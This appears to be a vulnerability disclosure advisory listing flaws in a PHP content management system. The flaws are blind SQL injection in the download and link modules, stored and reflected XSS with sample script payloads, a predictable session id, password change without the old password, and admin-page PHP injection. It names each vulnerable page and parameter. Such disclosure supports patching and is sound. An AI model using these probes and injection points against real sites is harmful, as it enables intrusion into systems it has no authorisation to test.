*******
1. Multiple Blind SQL Injection
Attacker can inject SQL code in modules:
http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid+DSecRG_INJECTION
http://[server]/[installdir]/modules/mydownloads/visit.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mydownloads/ratefile.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/ratelink.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/modlink.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/brokenlink.php?lid=2+DSecRG_INJECTION
Example:
This query will return link to download file:
GET
http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=1
HTTP/1.0
This query will return error:
GET
http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=0
HTTP/1.0
--------------------------------------------------------------------------------------------
2. Stored XSS
Vulnerability found in script modules/news/submit.php in post parameter name
"subject"
Example:
POST http://[server]/[installdir]/modules/news/submit.php HTTP/1.0
subject=<script>alert("DSecRG_XSS")</script>
--------------------------------------------------------------------------------------------
3. Linked XSS vulnerability found in modules/news/index.php, attacker can
inject XSS in URL string:
Example:
http://[server]/[installdir]/modules/news/index.php/";><script>alert('DSecRG_XSS')</script>
--------------------------------------------------------------------------------------------
4. Image XSS vulnerability in page edituser.php, attacker can upload avatar

--------------------------------------------------------------------------------------------
5. Predictable session id
Session id generator uses a predictable function, so id can be changed manually.
--------------------------------------------------------------------------------------------
6. Password changing vulnerability
Previous password not required to set a new password.
--------------------------------------------------------------------------------------------
7. Administrator page PHP Injection
Administrator can inject PHP code and execute OS commands with webserver user
privileges.
page: /modules/system/admin.php?fct=meta-generator
parameter name="header"
parameter name="footer"
page: /modules/system/admin.php?fct=disclaimer
parameter name="disclaimer"
page: /modules/mydownloads/admin/index.php?op=mydownloadsConfigAdmin
parameter name='disclaimer'
page: /modules/newbb_plus/admin/forum_config.php
parameter name="disclaimer"
page: /modules/mylinks/admin/index.php?op=myLinksConfigAdmin
parameter name="disclaimer"
page: /modules/sections/admin/index.php?op=secconfig
parameter name='intro'
